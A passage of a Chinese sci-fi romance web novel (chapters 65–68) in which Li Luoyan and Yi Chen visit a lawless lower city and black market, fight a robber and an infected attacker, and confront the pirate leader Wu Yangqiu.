“温暻哥好像生气了。”黎珞言抿了抿唇,思索后说。 “是吗?”易谌并不在意温暻生不生气,他亲了亲黎珞言,“那正好,我们可以继续了。” “可是还有一个。”黎珞言找出剩下的一枚翡翠绿耳钉,想要给易谌另一边也钉上。 易谌半边眉挑起:“你的愿望满足一半了,不得让我也满足一半?” 黎珞言问:“你的愿望是什么?” 易谌从他手中接过这枚耳钉,唇角扬起:“给你也打一个。” 他撩起黎珞言的衣服,示意:“这回该你咬着了。” 第 65 章 “你还有暂时执法证?”…… 那天从观星台回来之后。易谌领了工资后买了新的终端, 黎珞言拿到时,打开终端,发现里面只有易谌一个人的联系方式。 “暂时先用这个, 后面再换个新的。”易谌坐在他旁边也跟着低头看终端, “去了黑市之后, 如果有意外情况发生,我们就用这个联系。” “后面为什么要换新的?”黎珞言抬眸不解道。 “换个更好的。”易谌淡声回复。 黎珞言把终端收了起来,摇摇头:“这个就很好了啊,不用换了。” 易谌没有说话,但他心里却想着等去了黑市过后看看能不能找到个赚快钱的路子。 …… 黎珞言从尹惟的地下库里找了辆飞行器出来,停到宿舍附近,他就拿起终端给易谌发消息:【我到了。易谌——】 换了新终端, 他就没有那些可爱表情包了, 想了想,加了标点符号上去, 他觉得这样显得比较用心。 窗外忽然有人敲了下窗户,黎珞言放下终端,降下飞行器的窗看去,易谌一抬头正巧1见他看来, 抬手朝他挥了下。 黎珞言立马招呼易谌上了副驾, 飞行器里很凉爽, 将外面的热气一扫而空, 令人神清气爽。 “你怎么不在家里等?”黎珞言低眸捣鼓着飞行器的功能。 他一句“家里”瞬间让易谌的眉眼添上几分松快,他压了压唇角, 淡定地说:“不想你等我太久。” “我在里面等和你在外面等能一样吗?”黎珞言嘴上嘀嘀咕咕,一抬眸看见易谌完全没把他的话往心里去的样子,伸手捏住他的下巴, 强调着,“你听见了吗?下回给你发消息你再下来。” 易谌被他捏着抬头,含糊道:“哦。” 黎珞言不知道去下城区的路怎么走,便让易谌给他导航,自己则看着飞行器操作盘上的按钮沉思了一下:“她这款好像是最新版的飞行器,我找不到哪里开导航……早知道就开她其他的飞行器来了。” “没事,我可以帮你看路线,”易谌忍不住伸手摸了摸正低着头的黎珞言的脑袋,黎珞言一怔,抬头看他。 易谌便转移话题:“你直接开她的飞行器出来没问题吗?” “没问题的,”黎珞言终于捣鼓明白了,一边解释着,“她有收集飞行器的习惯,买的好多不同型号的飞行器开都没开过,所以给了我和奚元一人一把钥匙,说需要自取。” 易谌垂眸:“哦。” 黎珞言踩下离合,轻抬。然而一不小心抬猛了,两人同时感到猛烈的推背感。 黎珞言:呃。 正在拧眉深思的易谌:…… “只是熄火了,”黎珞言抿抿唇,淡定地说,“没事。” “哦——”易谌应了声,默默把安全带系紧了点。 黎珞言开飞行器实在不太熟练,一会儿飞高一会儿飞低,但好在平衡感不错,没有侧翻、也没有驾驶途中突然和地面来了个亲密接触的意外。总之一路上虽然坎坷,但幸好还勉强算得上顺利。 易谌从飞船上下来的时候脸和嘴唇都是白的。 黎珞言把飞行器停到合适位置后,下来看他:“你没事吧。” “没事。”易谌摆了摆手,猛猛灌了口水下去,冰镇的水从喉咙里滑下去十分清爽。 他不着痕迹呼出了口气,太煎熬了,黎珞言驾驶飞行器的水平居然还能拿到本吗? 黎珞言第一次来到下城区,他看哪儿都新奇,此时抬头看着天。 下城区的天总是阴沉沉的,但又带着点灿烂的霞光,仿佛某种装饰的点缀,给人一种极其奇特的感觉——诱惑着看见它的人到上面去。 但给人的整体感觉十分压抑,这样的天色,就好像是预言里将会发生大事的天色,仿佛时时刻刻都在酝酿着些什么似的。 光看天,完全意识不到此刻是白天还是黑夜,因为任何时间,天色都是昏暗得似乎下一刻就能掉下来随机砸死几个人。 周围的墙壁老旧,上面贴着泛黄的旧报纸,已经翘起了卷角,看起来简直与联邦的建筑风格格格不入,像是旧世纪留下来的产物。但周围的建筑却也有充满科技感和新兴意味的高大建筑,完全处于割裂的不同画风当中。 “你是在这里长大的吗?” 易谌正扶着墙调整呼吸,胸口总有一种难受欲呕的感觉。在黎珞言面前,他不想露出太过狼狈的模样,于是又灌了几口水,强行把那股感觉压下去。 听见黎珞言的声音,他抬起眸,看向四周的环境。 嗯……是也不是,准确来说,他生活的地方要比这里更恶劣、更乱一些。这里毕竟是上城区和下城区的交界处,治安、环境都好上不少,下城区的管理人员对上城区的人向来十分服从,因此也会在这附近做做样子。 当易谌带着黎珞言往里走后,黎珞言才发现这里比他想象中的还要……更令人惊讶些。 随处可见歪来倒去、躺在地上呼呼大睡的醉汉,还有仿佛在上演追逐战的人,街道上似乎上演着一场混乱的闹剧……黎珞言嘴巴微微张大,不敢想这居然是街道上会发生的事。 突然耳边爆发出一阵尖叫,其中夹杂着枪击的砰砰声。黎珞言循声望过去,发现是有蒙面人在抢劫,呵斥店员的语调凶得好像他才是这家店的主人一样,简直反客为主。 …… 这家店的店员们都抱头蹲在了角落,地板上漫着刚从人体里出来的温热鲜血,有着股尘土味的劣质空气里充斥着一种难闻的铁锈味。 店员们瑟瑟发抖,鹌鹑似的颤抖着,持枪的劫匪张狂地将脚踩上了桌子,轻蔑地笑着。 不是他们胆子小没骨气,而是几分钟前就有几个不服的人冲了上去,现在已经变成了地上一动不动、死相凄惨的尸体,鲜血沿着地板的缝隙流淌到了他们脚下。 他们亲眼目睹了忤逆这歹徒的下场,因此完全不敢再轻举妄动了,只期望着这人能抢了东西就离开,不做多余的事。 一个年轻的男店员看着血液马上要漫到他鞋上了,想着这双鞋是用他好几个月工资买来撑场面用的,忍不住往后挪了挪脚,试图躲开。 然而即便是这点几乎不会被察觉到的小动作还是被歹徒捕捉到了。黑色的枪口缓缓上移,不带感情地对准了那个害怕得颤抖的脑袋。 歹徒对于枪口下的人害怕这件事感到无比愉悦,唇角都露出一个放肆的笑,食指微微用力扣动扳机,他看着那个男生在生命受到威胁时瞳孔猛地缩小,唇角的笑容越来越大。 这种掌握别人生死的快感让他不由沉迷其中。 下一秒,一根棍子却挑起了他拿枪的手,子弹离开枪口的那瞬间紧急转了方向,强大的冲击力让其深入了墙壁之中。 男店员脸上全被汗浸湿了,瘫坐在地上身体不受控地发着抖,劫后余生让他感到一种极其强烈的不真实感。 “为什么要伤人?” 听见独属于少年人的清亮声音,他这才敢抬头看去——一脸横肉的歹徒被旁边的黑发少年轻松制服。 那少年戴了顶黑色的鸭舌帽,把头发压了下去,脖颈上挂着个挂脖耳机,右耳缀了颗闪闪发亮的银色耳钉,完全是青春洋溢的运动系帅哥。 他抬眸,一双绿色眸子像是上乘的珠宝,剔透无暇,令人忍不住朝他多看几眼。 那名男店员身体还在瑟瑟发抖,但眼睛却一眨不眨盯着那个突然出现的少年看,眸底染上几分狂热的情绪,就像教徒对神那样。 “你踏马是谁啊?管上老子……啊啊啊!!!”那人大放厥词才放了一半就被人一脚踹到膝盖上,腿一软跪在了地上。他一见自己打不过,立马就开始哭爹喊娘嚎叫起来,变脸比变天还快。 黎珞言侧头看过去,易谌怎么突然过来了? 易谌慢慢蹲下,冷冷地说:“嘴不要的话我可以帮你割了。” 他脸生得好看,但周身气质太过吓人,让人完全忽视了他长相的精致。这歹徒只在黑市里见过这种气场的人,他只敢拿着枪欺负欺负普通人,往常都没有人会管的,怎么今天就这么倒霉…… 他当即就被吓得一把鼻涕一把泪往下流,和刚才那个放肆张狂的态度判若两人。 “在大街持枪杀人不是死罪吗?”黎珞言拧了下眉,看着地上死不瞑目的尸体,“何况他还杀了这么多。” 那歹徒观察了下,绿眸少年的气质干净,五官倒是锋利张扬,但浑身浸着一股矜贵的气质,有点像是体验生活的大少爷。这个黑眸的大概便是大少爷来体验生活时招的冷酷打手了。 他心里顿时有了思量,立马调转了方向,开始朝着黎珞言哭爹喊娘,求他放过自己。 “但是你也没有放过他们。”黎珞言摇摇头,他撩起上衣,从腰间拿出一把枪,抬手对准了歹徒的太阳穴。 易谌摁着歹徒,让他移动不了半分,他只能惊恐地睁大了眼睛,眼睁睁看着黎珞言扣动了扳机,在极度恐惧下连话都说不出来。 “砰”的一声巨响,空气安静了下来,原本吵吵嚷嚷的环境骤然间变得连一根针掉在地上的声音都能听见了。 黎珞言冷静地把枪收了回去,从兜里掏出一个做工精致华丽的牌子,自始至终都语气平静:“暂代执法队执法。” 处理完这名持枪歹徒后,他转身看向那群挤在一起躲着的店员们,垂下了眸没有要安抚的意思,拉了拉易谌,示意他走了。 店外拥堵了一堆看热闹的人,他们少见这种多管闲事的人,于是少见多怪地拥堵在这里,看稀奇一样地看着黎珞言和易谌。 黎珞言见他们挡住了自己的路,眉间微皱,刚想开口,那群人就自动散开了,就好像很畏惧他一样。 黎珞言不解地抿抿唇,和易谌并肩离开了拥堵的人群。 人群里,闪过一个戴着帽子和口罩的人影,他在人群里看完了这一场闹剧后离开了这群人,他身手敏捷,隐藏气息、悄无声息地跟在了他们后面。 易谌刚刚碰了恶心的人,让他整个人都有点不舒服,把手好几遍总算清洗干净了,抬眸看着在旁边似乎陷入思索的黎珞言,唇角扬起点笑:“原来这么有正义感?” 他从前在下城区生活得久了,对这种事已经见怪不怪,恃强凌弱就是下城区绝大多数人的通病,这是骨子里带出来改不掉的。他没有拯救别人的兴趣,因此常常是事不关己就绕路离开。 “不是正义感。”黎珞言摇摇头,他并不是一个正义感爆棚、路见不平拔刀相助的人。 他垂眸,漂亮的绿眸被眼皮遮住了大半。他突然笑了笑:“我大概是比较有责任心?” 可能当初实验室里那些研究人员说得对吧,他的出生仅仅是为了拯救联邦的人民。 他没有被洗脑,但时常也觉得他应该肩负起一些责任来。 易谌不太理解他的责任心,但也没有反驳,摸了摸他的脸,对上他有些茫然的眼神后心里一片柔软:“下次当英雄的时候记得把我捎上。” “对了,你刚才举的那个是什么?”易谌倏地想起来,“你还有暂时执法证?” 黎珞言眨了眨眼睛,把刚才又放回了兜里的牌子重新拿了出来,摊开给他看,眼睛弯弯的:“你说这个啊,这是我之前买干脆面集的卡,是不是很酷。” 易谌眉头一挑,低头看去。 样式正经、配色严肃的卡套里装的居然真的是小孩会玩的那种卡牌! 第 66 章 “你没事真是太好了。”…… 易谌看着所谓小孩的玩意儿, 伸手想拿来看看,却抓了个空。 黎珞言突然很慌张地把卡套收了起来,就好像里面藏着点什么秘密似的。易谌稍微一愣, 抬头看向黎珞言。 “就只是集的卡片而已, 没什么好看的。”黎珞言眉眼弯了弯, 神态如常。 易谌视线紧盯着他的兜,始终没有移开,明显是不信,却还是点了头:“好。” 他眉眼漆黑如墨,眨也不眨地盯着放卡套的那处看。黎珞言的手在他面前挥了挥,他也装看不见,视线一动不动, 仿佛是在暗示些什么。 黎珞言把唇抿了回去, 眨着眼想着怎么转移话题,忽地他耳朵动了动, 神色警觉起来,扯了扯易谌:“有人在跟踪我们。” 易谌第一反应是他在转移话题,但被这么一提醒,他也听见了身后传来的脚步声。 黎珞言倏地转过身, 却在见到身后的人时一顿。——是先前那个男店员。 “有什么事吗?”黎珞言询问道。他不笑的时候脸看起来很冷, 锋利的轮廓流露出一种攻击性。 那名男店员脸还有些苍白, 但隐隐显出了点血色, 似乎有些不好意思和黎珞言对视,但一侧头就对上眼神冷得好像要砍了他一样的易谌, 被吓了一跳,立马就低下了头,嘴里一连串吐出完整的句子:“抱歉抱歉, 我自作主张跟上来。我是想着,你们可能是从上城区来的,对这边不太熟悉……刚刚你们救了我,我想做点什么报答一下你们。” 说到这里,他忍不住抬头看了黎珞言一眼,然后立即就低了下头,脸颊上绯红更甚。 “很明显吗?”黎珞言讶异道。他转过头看向易谌,眨眨眼睛,无声地说,你不是说这样打扮就能融入进去的吗? 易谌朝他张了张嘴,眉头挑起,用口型说,没办法你太好看了。 黎珞言发觉他又开始乱说话,抿了抿唇,别过头不看他了。 “这……很难看不出来吧。”男店员弱弱地说。眼前这个绿眸的男生穿着简单,基本任何一个同龄的男生都会穿成这样,但他的脸和气质实在太突出了,尤其是身上那股不食人间烟火的清高气。 ……应该是清高吧。他暂时想不出来别的形容词,但就是觉得眼前的人明明是站在自己面前的,却仿佛和自己隔着层厚厚的壁一样。 绿眸男生的眸色澄澈,干净有余但实实在在没有什么感情,在不久前他能够轻而易举地决定另一个人的生死,但即便是那样可怕的事在他心里也掀不起任何波澜。 另一个男生长相也很优越,但不会让他觉得和这里格格不入,毕竟这人身上萦绕着一股匪气,深邃黑沉的眉眼总压着,看起来脾气很差的样子。——尤其是现在用那双冷得彻骨的眼睛盯着他看,让他一身的鸡皮疙瘩都起来了。 最后黎珞言向这位男店员表示不用他带路了,还给了他一张纸巾,让他可以擦一擦刚刚在店内溅上的脏污痕迹。 男店员受宠若惊地接下了纸巾,捏在手心,由于紧张攥出了褶皱,看着黎珞言和易谌远去的身影,脸上慢半拍地露出了赧然的笑。 他站在原地片刻,突然身后有个人拍了拍他的肩膀,于是转过头去。 ——是个长相堪称漂亮的青年,口罩被取了下来,还有一边挂在耳朵上,摇摇欲坠的。 如瓷器般冷白色的皮肤,脸上似笑非笑,莫名显出几分讥诮。五官排布十分舒服,是能够让人忍不住放下戒心的外表,但眼神却充斥着一股侵略和邪肆,右眼尾一颗红色小痣宛如以吸人血为生的血蛭。 男店员心说,奇了怪了,下城区怎么短短一天之内能看到这么多气质斐然的人物。 “你好。”那青年十分礼貌地朝他伸出手,却处处透着股屈尊降贵的意思,“刚刚那个人是给了你什么东西吗?” 男店员攥紧了手里的纸巾,欲盖弥彰地往身后背了背:“没有。” 青年看着他的动作,勾了勾唇角:“是吗?” * 黑市的入口十分隐秘,即使是生活在下城区的人,也不是每一个人都能找到。 这里和外面的环境很不一样,有种纸醉金迷的味道,五彩的霓虹灯将人影割裂成五颜六色的色块。 黎珞言以为黑市会是很暗沉的灯光,就像恐怖片氛围那样,但没想到会是如此鲜艳的色彩,无数灯光闪着,将四周的一切都照得极其敞亮,令人流连忘返。 黎珞言第一次来到这样的地方,眼睛亮晶晶的,四处张望着。 易谌紧紧牵着他的手,防止他和自己走散,浑身散发着股不好惹的戾气,从根本上就劝退了一大半想要上来搭讪的人。 黎珞言眼睛看见一家装饰简单的店,店内是明亮的白光,在这五彩斑斓的黑市里显得格格不入。他看向易谌,眼神里带着点期待:“我们去看看?” 易谌便点点头,往他手里塞进一个小瓶子。 黎珞言有些懵地接住了,低头去看,是个不透明的瓶子。 他没看出这是什么,于是拔掉瓶塞,一瞬间浓郁的血腥味夹杂着向导素直冲鼻腔。 黎珞言眼神涣散了一瞬。易谌没想到他动作这么快,当即按住他的手迅速把瓶塞摁了回去。 黎珞言微微眯起眼睛,绿眸无聚焦地看着易谌,脑子还是有点昏,脖颈泛上点醉红。 高浓度的向导素让他此刻浑身有些燥热,十分想做些什么剧烈运动消耗一下躁郁过度的精神。 易谌看得有些眼热,凑近亲了他几口,看着黎珞言的眼神逐渐恢复正常,才意犹未尽地松口。 黎珞言稍微平和了下,舔了舔嘴唇,有些担忧地问:“这个瓶子是用来做什么的?” 如果他没猜错的话,满满一瓶应该都是装的易谌的血,自从做了深度疏导之后,只有易谌体.液里的向导素会对他产生这么强烈的影响。 只是——易谌为什么要放这么多血给他? “我只是担心万一遇上意外情况,如果我又不在你身边,”易谌让他把这个瓶子收好,“有这瓶血在的话,至少你不会失控。” 他忍不住有点想笑:“但你也不要凑那么近闻啊。” 黎珞言的注意力被后一句话吸引,茫然地问:“那我该怎么闻?” 易谌道:“可以用手扇着闻,别离太近。” 他们朝着那家店走去。易谌以前没进过这家店,但在这里待的时间很长,也知道个大概:“这是酒吧。” 黎珞言点点头,感叹一句:“不像啊。” 他们踏进那家店,发现只有酒保在吧台调酒,四周座位都没人。 明亮的色调,偏偏环境是独一份的死寂,处处都诉说着一种强烈的诡异感。 易谌敲了敲吧台的桌子,另一只手把黎珞言的手抓得很紧,一刻也没有松开。 酒保这才抬头:“两位?” 见他们点头,这名酒保便闷着头开始调酒。 “我好像,还没说我喝什么。”黎珞言看着他已经开始了,不禁开口道。 那酒保头也没抬,说着尊称却没什么尊重的意思:“客人,本店的规矩是拒绝点单。任何产物都来源于调酒师当时的心情,相逢即是缘分,这两杯算我请你们的。” 他抬起眸,眼底是豆大的黑眼圈,简直像是被人狠狠揍过两圈,周身环绕着一股没有精神的丧气。 他给两杯酒各放上一片柠檬,往前推了推:“客人,酒好了,请慢用。” 黎珞言看着这两杯还不一样,酒保明显是有区分地把两杯各自推向了他们二人。 “……谢谢。” 黎珞言和易谌面对面坐着,黎珞言小口喝着酒,透过玻璃看,酒水是澄清的橙色,气泡从杯底往上冒着,色泽漂亮,像是火焰向上蹿触碰到了阳光,这是一个十分有温度的颜色。 味道也很不错,冰沁的滋味将他方才因向导素升起的热意重新浇灭了。 黎珞言弯弯眼睛,他真的很喜欢到外面看到不一样的风景,他像个好不容易得到春游机会的小孩似的,觉得哪里都十分有趣。 不过——“这家店开在这里真的不会开垮吗?” 酒保咣咣咣砸着冰块,仿佛这话说的不是他家店一样,眼睛垂着,看起来很是命苦,让人光看着就感觉到了扑面而来的劳累感。 易谌解释道:“黑市风格就是这样,大部分老板的性格都……挺怪异的。” 他们边喝酒,边聊天,不知道过了多久,准备离开时,外面却爆发出一声又一声极具穿透力的尖叫。 黎珞言扭头望过去,易谌也同时往外面看。酒保则是事不关己地继续砸冰块。 忽然从店外闪进来一个人影,速度如闪电一样迅捷,在场的人都没有立即做出反应。 直到那道身影逼近黎珞言时,黎珞言才立即侧身躲开,避开了尖锐可怕的长指甲。 桌子因刚才的动作翻了,玻璃杯也滑到了地上摔碎了,木地板上全是玻璃碎片,一个不注意就能把人划伤。 但那道人影却毫无顾忌地踩了上去,脚上鲜血淋漓了,血将鞋面都浸湿了,他也仿佛感受不到疼痛一样。 直直地又朝黎珞言冲了过去。 黎珞言不复一开始的毫无准备,现在有了空当定神看他,然后微微怔住了:“是你?” 是今天才遇到过的那位男店员,但容貌却稍微有所变化,皮肤青白,指甲变长,眼白全然变成了血红色,这显而易见是一名感染者!还是在速度方面接受了强化的感染者! 他的动作实在太快,连黎珞言都不能捕捉到他每一秒的动态。但今天见他的时候,他明显只是一个普通人,不是哨兵也不是向导,即便是在这么短的时间内被感染了,也不会有这么明显的强化效果。 黎珞言眉眼凝重,思索间一个没留神,就见那名男店员几乎快要挟持住专注砸冰块的酒保。 酒保眼睛都睁大了,完全是对自己突然处于危险境况的茫然。他抬头看着张大嘴巴、凶神恶煞的非人怪物,一时失语。尖利的牙齿像一根针,能够轻而易举刺破皮肤,刺穿血管。 千钧一发之际,易谌抓住了那名男店员,将非人的感染者按倒在地。 然而感染者张大了嘴,露出一个很大的笑容,就好像是为此感到愉悦似的。 黎珞言此刻的神智无比清醒,感染者的动作似乎在他的眼睛里放慢,变成了一帧一帧地慢动作。他看着那个感染者摊开了掌心,掌心里藏着个不仔细看都看不清楚的小袋子,里面似乎盛着流动的液体。 感染者用尽全身力气挣脱开了易谌的束缚,脖子断了半截,头歪着,却依旧扬着那个诡异的笑容,手朝着易谌的脖颈打去。 黎珞言瞳孔骤缩,脑子一瞬间变得空白,只剩下一个念头——要保护好易谌。他握紧了枪,对准那名男店员稳稳扣动扳机。 这一枪对准的是人,而不是体内寄生的异兽。但还是让感染者的攻击落了空,易谌也发现了端倪,迅速躲开。 黎珞言额上流下一滴冷汗,他胸膛剧烈起伏着,心脏还在剧烈跳动着,强迫着自己闭上眼,感受寄生的异兽在哪儿。 感受到后,他再一次扣动扳机,随着砰的一声巨响,他的心才重新落回了胸口。 他睁开眼的第一反应就是去看易谌,看到完好无损、能蹦能跳的易谌,他便松了口气,弯起眼睛,发自内心道:“你没事真的太好了。” 还没等易谌回复,黎珞言余光中忽然闪过一张熟悉的脸,他脸上的笑瞬间消失了,循着那道身影扭头看过去。 青年在不远处朝着他挥了挥手,似乎是故意让他看见自己,旋即就拉上了口罩挡住脸,动作迅速地跑向了远处。 黎珞言下意识就迈步跟了出去,只来得及留下一句:“这边就交给你了。”旋即便大跨步飞速跟上方才消失在视线中的戴口罩青年。 第 67 章 “see you,Li…… 戴口罩的青年移动速度极快, 动作灵巧地越过沿途的障碍物,顺便将酸液桶一脚踹到在地,腐蚀性的酸液流淌出来, 发出滋滋的响声, 挡住了黎珞言的去路。 黎珞言眸子微沉, 在那酸液即将渗透到自己脚边时,用力踩地跳起,另一只脚在空中踹到墙壁上,借着惯性快步连续踩在墙上,掠过了那一摊腐蚀性液体后,他一个利落的转身,双脚重新踩到地上。 还没停顿半秒, 就再次迈开步伐继续追击那个人。 青年不知道转了多少次弯, 绕了多少条小道,最终来到了一条死胡同里。 他抬眸看着面前这堵厚重又高大的墙, 无奈地勾起唇,停下了脚步,转过身来。 黎珞言脚步却没有丝毫放缓,直直冲过来, 没有半分留手, 拎住青年的领口就往墙上按。 他动作又快又狠, 青年甚至没来得及反应, 后脑勺就狠狠撞上了身后坚硬的墙壁。 青年唇齿微张,眉头皱起, 疼得轻轻嘶了一声,但他却勾起唇角,饶有兴趣地抬眸望着黎珞言。口罩因这一下的撞击掉了下来, 露出了底下俊美的脸。 黎珞言的手松开了他的衣领,转而握上了他的脖颈,看着面前那张脸,骨节分明的手指收紧,锋利的眉眼微沉,显出一种强烈的凌厉感。 片刻后,他开口道:“邬格,你还敢出现在我面前?” 他语气没什么波澜,搭配着他那句话的意思,实在令人心里下意识地瑟缩发颤。 面前的青年被他掐得一动不得动,从脖颈漫上窒息的红色,脸上的笑却没有削减,反而因他这句话笑得更肆意了,眼角的泪痣红得像是要滴血。 黎珞言盯着他的脸看了几秒种,眉间微皱:“不对,你不是邬格。” 虽然面前这人和邬格长着一模一样的脸,但表情和邬格大相径庭,实在不像是那人会做出来的神情。——即便两人都同样让他感到无比反感。 青年被他掐得说不出话,黎珞言见状收了几分力,松手的瞬间转而从腰间抽出枪对准他,绿眸看人时冷得像是淬了冰似的。 青年的胸腔终于能够汲取到新鲜空气了,他控制不住地猛烈咳嗽起来,脖颈上留下了吓人的指痕,估计没过多久就会变成淤青,可见黎珞言下手时是真的没留几分情面。 “这么久了,你居然还记得他的名字吗?”青年愉悦地弯起眼睛,“看来我弟弟真的给你留下了很深的印象。他知道了一定会和我一样高兴的。” 黎珞言没有说话,只是把怼在他太阳穴的枪口抵得更重了些。 青年见他不理睬,也没有丧失兴致,反而笑眯眯地说:“你怎么不问问我是谁呢?” 两人之间沉默了片刻。 “你很嚣张吗?”黎珞言冷不丁开口,垂眼看他,“你觉得我不能对你做什么?” “我很嚣张吗?”青年弯起眼,柔和的五官让他看起来简直像是受欺负的那方,他缓慢摇摇头,“我可不敢,你可是会一言不合就动枪的,我害怕你生气了,手一不小心就把扳机扣动了。” 他说着害怕,却没有任何害怕的意思,反而像是讥讽。 “就说刚才吧,不久前还是个站在你面前的大活人,脸红红的说要给你带路,哎呀,我看着都心软了。但你看见他成为感染者了,居然还是能毫不犹豫开枪,”青年不惧抵在自己太阳穴的枪口,他知道黎珞言根本没上膛,于是笑吟吟地凑近黎珞言,“你一直都是这样冷心冷情的吗?” 黎珞言回想了下,再联系这人说的话,原来当时跟在后面不只是那个店员,还有这人…… 想到这里,他突然有点犯恶心。虽然面前这人不是邬格,但这张脸还有作风都不免让他想起了曾经的事,一时间胃里有些难受。 青年的唇瓣一张一合,吐字清晰无比,像是毒蛇一样钻进黎珞言的耳朵:“你知道吗?就在刚才,你就随手害死了一个人。” “害死他的人不是你吗?”黎珞言没有受他影响,冷着一张脸回答,“感染者的药剂,你给他注射了多少?” 青年微微一怔,旋即笑起来,有些讶异道:“你没我想得那么笨啊,我弟弟说你性格温吞有些不聪明,没想到你还能想到这里……” 他话还没说完,头发就被一只手攥紧了,力气很大,扯得他头皮发疼,他脸上的笑都被这个突然的动作打断了,后脑勺被迫使着一下又一下重重砸到墙上。 黎珞言动作前没有任何预备动作,青年一时间毫无准备,被硬生生按着动弹不得,黎珞言松手时,他感觉后脑勺还在疼,甚至有血迹顺着往下流的触感。 他脸上玩味的笑容没了,眼底浮现出几分动怒的意思,还有些头昏眼花,金星在眼前转圈。 “那邬格有没有告诉过你,我对长着这张脸的人脾气不太好。”黎珞言嗓音平静又冷淡。 “我弟弟做的事和我又没关系,我和他的关系也很不好的,你这样迁怒我对我也太不公平了,”青年的语气似乎有些无奈,他唇角抿起一个笑,单看脸应该是十分单纯阳光的类型,但这张脸又和他的气质太不符了,显出浓浓的违和感,“这是我们第一次见面,我本来想给你留下一个好印象的,看来我失败了。” 他看起来有些遗憾,主动朝黎珞言自我介绍:“我叫邬阳秋。你一开始把我认成了邬格,说实话还真挺让我难过的。不过我也希望以后能给你留下更深刻的印象。” 他说话的嗓音越来越小,伸手摸了摸脑后,伸到面前一看,果然摸到了一手鲜红的血迹:“你下手可真够狠的,看来你说的没错,你确实对这张脸没什么好感。”他摸了摸自己的脸,心觉自己受了弟弟的牵连,遭了无妄之灾。 黎珞言眉眼冷冽,唇抿成了一条线,他身高将近一米九,这样冷着脸看人的时候,自然而然倾泻出一种压迫感。他手指上还残余着鲜血,现在已经干涸了,白皙的指缝间都被血迹挤满。 邬阳秋这个名字他确实听父亲提起过,是新上任的星盗首领,心狠手辣,行事歹毒,比起往届星盗首领有过之而无不及。 邬格,邬阳秋……黎珞言眉眼垂垂,原来他们是亲兄弟。 “我虽然和邬格不合,但他的眼光倒是蛮好的,”邬阳秋侃家常一般和他聊着天,眼睛重新弯起,“之前安排他和你一个学校,隐藏在你身边,目的是杀了你,但他居然喜欢上你了,还被你父亲发现了,差点死在你手上……” “后来他倒是逃回来了,但暴露身份让他可惨了,啧啧,被关起来挨了一顿毒刑,吊着一口气跟条狗一样从行刑室爬出来,但你知道他醒来的第一句话问的是谁吗?” 黎珞言对邬格说了什么话不感兴趣,他现在还没有扣动扳机,只不过是因为他还有想问的话:“联邦高层有你们的人?” 邬阳秋弯唇笑了笑,心里琢磨了下他这句话的意思,觉得黎珞言是想从他嘴里套话,不免感觉他有些异想天开:“虽然我确实受邬格的影响,对你很感兴趣,但是这种机密你觉得我会轻易告诉你吗?” “不过——”他眼眸垂下,从上到下似乎是在打量黎珞言,嘴角乃至眉梢带着兴味的笑,调笑的口吻,“如果你愿意陪睡几次,我倒是可以透露一点给你。能让你高兴的话,那些人死了就死了。” 黎珞言一言不发,默默给枪上了膛。一抬眸见邬阳秋试图往旁边跑,伸手将这人直接拽了回来,邬阳秋后背再一次和墙壁来了个猛烈碰撞,这重重一下疼得他表情管理一时间又绷不住了,脸上笑容都消失了,眸色一瞬间变得阴沉。 邬阳秋皮笑肉不笑地继续说着:“是因为你有未婚夫了吗?所以这么为他守贞,连句话都听不得。” 黎珞言恍然未闻,把枪口对准他的太阳穴,毫不犹豫地开了枪。 随着一声巨响,方才还被他摁在墙上的人,却骤然消失在了眼前,就好像从来没存在过一样。 黎珞言手里抓着的只余一团空气。他习以为常地舒出一口气,吹了吹还在冒烟的热烫枪口,动作行云流水将其插回了腰间。 他就知道没这么容易成功,之前杀邬格那次也是这样,忽然就消失不见了,不知道是不是他们星盗内部的某种秘法。 黎珞言结束这边事情过后,准备回去找易谌,环视四周,却发现完全是陌生的场景。他眼睛眨了眨,方才冷锐锋利的眼神全然消失了,眼底透露出几分迷路的茫然。 他左看看右看看,抬头看看又低头看看,发现这里确实是他从来没来过的地方,都不知道还在不在黑市里面。 对了,他有终端的。 黎珞言从兜里摸出终端,低头的时候发现地上不知道什么时候掉落了一张纸条。……是邬阳秋留下的吗? 他拧了眉,眼里闪过嫌恶,但还是弯腰捡了起来。 纸条被铺平,上面写着:“期待我们的下一次见面,应该会很快。see you,Li~” 字体有些花哨,带着点故意炫技的意味。 黎珞言抓着这张纸条,有些不明白这代表着什么意思。他忽然听到了点脚步声,回头看去,是朝他走过来的易谌,他还有点气喘吁吁,气息不稳,手轻轻扶着墙,显然是一路狂奔过来的。 他不是还没给易谌打电话吗? 黎珞言有些懵地眨了眨眼睛,易谌就已经走到了他面前,跟着垂眸去看他手上的纸条。 黎珞言还一句话没说,易谌看完纸条后停顿了两秒,抬眸看着黎珞言,一字一句地说:“字迹和那天在联赛里看到的那张纸条字迹一样。” 第 68 章 “我都快疯了。”…… 黎珞言没有顺着他的话去回想那天联赛的纸条, 而是疑惑地问他:“你怎么找到我的?” 易谌眼睛眨了一下,浓密的睫毛遮住了大半瞳孔,即便面临这样的问题, 他也没有产生任何心虚的情绪, 表情淡定、冷静地说:“我不是承诺过, 每一次都会找到你吗?” 黎珞言还是觉得奇怪。他终端才刚拿在手上,还没有给易谌打电话,易谌是怎么在这么短时间内快而准确地赶到了这里? “你和刚才那个人认识?”易谌不经意间提起。 黎珞言迅速被转移了注意力,他微拧了眉:“也不是认识……” 他觉得这件事从头讲起还是蛮复杂的,于是问了问易谌那边的情况处理好了没有,得到肯定的回复后便和易谌边往外面走,边说起之前的事情。 这里虽然看起来极其偏僻荒凉, 但的确还是在黑市里面无疑。 黎珞言其实有点不知道从哪里想起, 歪着头回忆着:“我之前上学的时候,有个人一直和我同班, 但他性格很孤僻,从来没和任何一个人说过话,其实我印象里好像也没和他有过太多接触。” 易谌听到这里,脑子就忍不住往后猜剧情了, 难道是什么英雄救美一见钟情的故事? 像黎珞言这样很有责任心、路见不平拔刀相助、长得又格外俊朗好看的人, 实在很容易在救人的时候发生吊桥效应, 让被救的那人一见倾心什么的。 易谌一边想着, 一边叉了块甜品喂进黎珞言嘴里。 “有段时间我一直觉得好像有人在看着我,那道视线非常隐秘, 但是我又很难忽略掉,我就认真观察身边的人,始终没有发现可疑的人。”黎珞言不知道他又脑补了什么, 张口就咬住了,牙齿一咬,甜味在口腔沁开,“然后……欸,这个好甜。” 黎珞言眼睛一亮,把嘴里这小块咽下去后张开嘴,易谌立即就明白了他的意思,给他又喂上一口。 “刚刚在那儿买的。”易谌朝刚路过的一个小摊方向扬了下下巴。 